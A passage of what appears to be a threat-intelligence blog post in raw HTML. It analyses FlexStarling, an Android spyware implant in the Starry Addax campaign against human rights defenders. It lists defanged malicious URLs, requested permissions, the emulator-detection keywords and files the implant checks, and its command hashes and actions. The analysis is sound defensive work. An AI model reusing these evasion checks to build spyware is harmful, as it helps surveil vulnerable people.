overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW80799993 BCX0" paraid="1022084344" paraeid="{de16dcb4-3e17-43d6-9954-132516e67fd2}{137}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: right; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif; font-weight: bold;"><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Short link</span></span><span class="EOP SCXW80799993 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:3,&quot;335551620&quot;:3,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW80799993 BCX0" role="columnheader" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 359px;"><div class="TableCellContent SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW80799993 BCX0" paraid="1875231783" paraeid="{de16dcb4-3e17-43d6-9954-132516e67fd2}{143}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif; font-weight: bold;"><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">Redirects to</span></span><span class="EOP SCXW80799993 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 11pt; line-height: 19.7625px; font-family: Arial, Arial_EmbeddedFont, Arial_MSCustomFont, Arial_MSFontService, sans-serif;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW80799993 BCX0" role="row" aria-rowindex="2" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol SCXW80799993 BCX0" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 264px;"><div class="TableCellContent SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW80799993 BCX0" paraid="1130806204" paraeid="{de16dcb4-3e17-43d6-9954-132516e67fd2}{149}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: right; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 11pt; line-height: 19.7625px; font-family: &quot;Courier New&quot;, &quot;Courier New_EmbeddedFont&quot;, &quot;Courier New_MSCustomFont&quot;, &quot;Courier New_MSFontService&quot;, monospace;"><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">bit[.]</span><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">ly</span><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">/48wdj1m</span></span><span class="EOP SCXW80799993 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:3,&quot;335551620&quot;:3,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 11pt; line-height: 19.7625px; font-family: &quot;Courier New&quot;, &quot;Courier New_EmbeddedFont&quot;, &quot;Courier New_MSCustomFont&quot;, &quot;Courier New_MSFontService&quot;, monospace;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW80799993 BCX0" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 359px;"><div class="TableCellContent SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW80799993 BCX0" paraid="487768739" paraeid="{de16dcb4-3e17-43d6-9954-132516e67fd2}{153}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 11pt; line-height: 19.7625px; font-family: &quot;Courier New&quot;, &quot;Courier New_EmbeddedFont&quot;, &quot;Courier New_MSCustomFont&quot;, &quot;Courier New_MSFontService&quot;, monospace;"><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">www[.]</span><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">ondroid</span><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">[.]store/aL2mohh1</span></span><span class="EOP SCXW80799993 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 11pt; line-height: 19.7625px; font-family: &quot;Courier New&quot;, &quot;Courier New_EmbeddedFont&quot;, &quot;Courier New_MSCustomFont&quot;, &quot;Courier New_MSFontService&quot;, monospace;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW80799993 BCX0" role="row" aria-rowindex="3" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstCol LastRow SCXW80799993 BCX0" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 264px;"><div class="TableCellContent SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW80799993 BCX0" paraid="632225617" paraeid="{de16dcb4-3e17-43d6-9954-132516e67fd2}{157}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: right; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 11pt; line-height: 19.7625px; font-family: &quot;Courier New&quot;, &quot;Courier New_EmbeddedFont&quot;, &quot;Courier New_MSCustomFont&quot;, &quot;Courier New_MSFontService&quot;, monospace;"><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">bit[.]</span><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">ly</span><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">/48E4W3N</span></span><span class="EOP SCXW80799993 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335551550&quot;:3,&quot;335551620&quot;:3,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 11pt; line-height: 19.7625px; font-family: &quot;Courier New&quot;, &quot;Courier New_EmbeddedFont&quot;, &quot;Courier New_MSCustomFont&quot;, &quot;Courier New_MSFontService&quot;, monospace;">&#xA0;</span></p></div></div></td><td class="LastCol LastRow SCXW80799993 BCX0" data-celllook="0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 359px;"><div class="TableCellContent SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px 7px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW80799993 BCX0" paraid="2024146693" paraeid="{de16dcb4-3e17-43d6-9954-132516e67fd2}{161}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; white-space: pre-wrap; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-variant-ligatures: none !important; font-size: 11pt; line-height: 19.7625px; font-family: &quot;Courier New&quot;, &quot;Courier New_EmbeddedFont&quot;, &quot;Courier New_MSCustomFont&quot;, &quot;Courier New_MSFontService&quot;, monospace;"><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">www[.]</span><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">ondroid</span><span class="NormalTextRun SCXW80799993 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;">[.]store/ties5shizooQu1ei/</span></span><span class="EOP SCXW80799993 BCX0" data-ccp-props="{&quot;201341983&quot;:0,&quot;335559740&quot;:279}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; font-size: 11pt; line-height: 19.7625px; font-family: &quot;Courier New&quot;, &quot;Courier New_EmbeddedFont&quot;, &quot;Courier New_MSCustomFont&quot;, &quot;Courier New_MSFontService&quot;, monospace;">&#xA0;</span></p></div></div></td></tr></tbody></table>
<!--kg-card-end: html-->
<h2 id="starry-addax-likely-to-escalate-momentum">Starry Addax likely to escalate momentum&#xA0;</h2><p>Campaigns like this that target high-value individuals usually intend to sit quietly on the device for an extended period. All components from the malware to the operating infrastructure seem to be bespoke/custom-made for this specific campaign indicating a heavy focus on stealth and conducting activities under the radar. The use of FlexStarling with a Firebase-based C2 instead of commodity malware or commercially available spyware indicates the threat actor is making a conscious effort to evade detections and operate without being detected.&#xA0;</p><p>The timelines connected to various artifacts used in the attacks indicate that this campaign is just starting and may be in its nascent stages with more infrastructure and Starry Addax working on additional malware variants.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/04/data-src-image-f3a7dbee-b1a3-4d62-bdbf-17eb31f6aa3f.jpeg" class="kg-image" alt="Starry Addax targets human rights defenders in North Africa with new malware" loading="lazy" width="1600" height="1166" srcset="https://blog.talosintelligence.com/content/images/size/w600/2024/04/data-src-image-f3a7dbee-b1a3-4d62-bdbf-17eb31f6aa3f.jpeg 600w, https://blog.talosintelligence.com/content/images/size/w1000/2024/04/data-src-image-f3a7dbee-b1a3-4d62-bdbf-17eb31f6aa3f.jpeg 1000w, https://blog.talosintelligence.com/content/images/2024/04/data-src-image-f3a7dbee-b1a3-4d62-bdbf-17eb31f6aa3f.jpeg 1600w" sizes="(min-width: 720px) 720px"></figure><h2 id="flexstarling-%E2%80%93-a-highly-capable-implant">FlexStarling &#x2013; A highly capable implant&#xA0;</h2><p>The FlexStarling malware app requests a plethora of permissions from the Android OS to extract valuable information from the infected mobile device. The following list contains the permissions acquired by FlexStarling via its AndroidManifest[.]xml:&#xA0;</p><p>Some of these permissions are dynamically requested at runtime: READ_CALL_LOG, READ_EXTERNAL_STORAGE, READ_SMS, READ_CONTACTS, WRITE_EXTERNAL_STORAGE, INTERNET, ACCESS_NETWORK_STATE, RECORD_AUDIO, READ_PHONE_STATE.&#xA0;</p><h3 id="anti-emulation-checks">Anti-emulation checks&#xA0;</h3><p>When the implant runs, it checks the BUILD information for keywords or phrases that indicate that it is running on an emulator or analysis tool. The implant checks for the following keywords:&#xA0;</p><ul><li>BUILD[MANUFACTURER] does not contain: &#x201C;Genymotion&#x201D;.&#xA0;</li><li>BUILD[MODEL] does not contain any of: &#x201C;google_sdk&#x201D;, &#x201C;droid4x&#x201D;, &#x201C;Emulator&#x201D;, &quot;Android SDK built for x86&quot;&#xA0;</li><li>BUILD[HARDWARE] does not contains any of: &#x201C;goldfish&#x201D;, &#x201C;vbox86&#x201D;, &#x201C;nox&#x201D;.&#xA0;</li><li>BUILD[FingerPrint] does not start with &#x201C;generic&#x201D;.&#xA0;</li><li>BUILD[Product] does not consist of any of: &#x201C;sdk&#x201D;, &#x201C;google_sdk&#x201D;, &#x201C;sdk_x86&#x201D;, &#x201C;vbox86p&#x201D;, &#x201C;nox&#x201D;.&#xA0;</li><li>BUILD[Board] does not contain: &#x201C;nox&#x201D;.&#xA0;</li><li>BUILD[Brand] or Device does not start with &#x201C;generic&#x201D;.&#xA0;&#xA0;</li></ul><p>The implant also checks for the presence of the following emulation/virtualization-related files in the filesystem:&#xA0;</p><ul><li>/dev/socket/genyd&#xA0;</li><li>/dev/socket/baseband_genyd&#xA0;</li><li>/dev/socket/qemud&#xA0;</li><li>/dev/qemu_pipe&#xA0;</li><li>ueventd.android_x86.rc&#xA0;</li><li>X86.prop&#xA0;</li><li>ueventd.ttVM_x86.rc&#xA0;</li><li>init.ttVM_x86.rc&#xA0;</li><li>fstab.ttVM_x86&#xA0;</li><li>fstab.vbox86&#xA0;</li><li>init.vbox86.rc&#xA0;</li><li>ueventd.vbox86.rc&#xA0;</li><li>fstab.andy&#xA0;</li><li>ueventd.andy.rc&#xA0;</li><li>fstab.nox&#xA0;</li><li>init.nox.rc&#xA0;</li><li>Ueventd.nox.rc&#xA0;</li></ul><p>If none of the keywords or files are found or all checks are passed, the malicious app tries to gain permissions for managing external storage areas (shared storage space) on the device using the permission &#x201C;MANAGE_EXTERNAL_STORAGE&#x201D;.&#xA0; The actor wants to gain the ability to read, write, modify, delete and manage files on external storage locations.&#xA0;&#xA0;</p><h3 id="stealing-information-and-executing-arbitrary-code">Stealing information and executing arbitrary code&#xA0;</h3><p>The malware obtains command codes and accompanying information from the C2 server. It then generates the MD5 hash string of the command code and compares its list of hardcoded hashes. The corresponding activity is carried out by the implant once a match is found.&#xA0;</p><p>The various commands supported by the sample are:&#xA0;</p>
<!--kg-card-begin: html-->
<table style="border:none;border-collapse:collapse;"><colgroup><col width="260"><col width="167"><col width="208"></colgroup><tbody><tr style="height:50.25pt"><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: right;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Command code MD5 hash</span><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: center;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Decode command code</span><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Intent</span><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0;</span></p></td></tr><tr style="height:50.25pt"><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: right;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#e97132;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">801ab24683a4a8c433c6eb40c48bcd9d&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: center;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Download&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Download a file specified by a URL to the Downloads directory.&#xA0;</span></p></td></tr><tr style="height:66.75pt"><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: right;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#e97132;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">e8606d021da140a92c7eba8d9b8af84f&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: center;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">unknown&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Copy files from the download&apos;s directory to the application package directory&#xA0;</span></p></td></tr><tr style="height:66.75pt"><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: right;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#e97132;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">725888549d44eb5a3a676c018df55943&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: center;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">unknown&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Decrypt a dex file located in the application package directory and reflectively load it.&#xA0;</span></p></td></tr><tr style="height:132.75pt"><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: right;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:11pt;font-family:Arial,sans-serif;color:#e97132;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">3a884d7285b2caa1cb2b60f887571d6c&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;text-align: center;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">unknown&#xA0;</span></p></td><td style="border-left:solid #000000 0.50000025pt;border-right:solid #000000 0.50000025pt;border-bottom:solid #000000 0.50000025pt;border-top:solid #000000 0.50000025pt;vertical-align:top;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-left: -4pt;margin-top:2pt;margin-bottom:2pt;"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Cleanup directories &#x2013; remove all files:&#xA0;</span></p><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;"><li dir="ltr" style="list-style-type:disc;font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;margin-left: 14pt;" aria-level="1"><p dir="ltr" style="line-height:1.38;margin-top:2pt;margin-bottom:0pt;" role="presentation"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Cache directory.&#xA0;</span></p></li><li dir="ltr" style="list-style-type:disc;font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;margin-left: 14pt;" aria-level="1"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">Application package directory (including &#x201C;/oat/&#x201D;).&#xA0;</span></p></li><li dir="ltr" style="list-style-type:disc;font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;margin-left: 14pt;" aria-level="1"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:2pt;" role="presentation"><span style="font-size:12pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">External Cache Directory.&#xA0;</span></p></li></ul></td></tr><tr style="height:17.25pt"><td style="border-left:solid #000000 0.50000025pt;border-right:solid 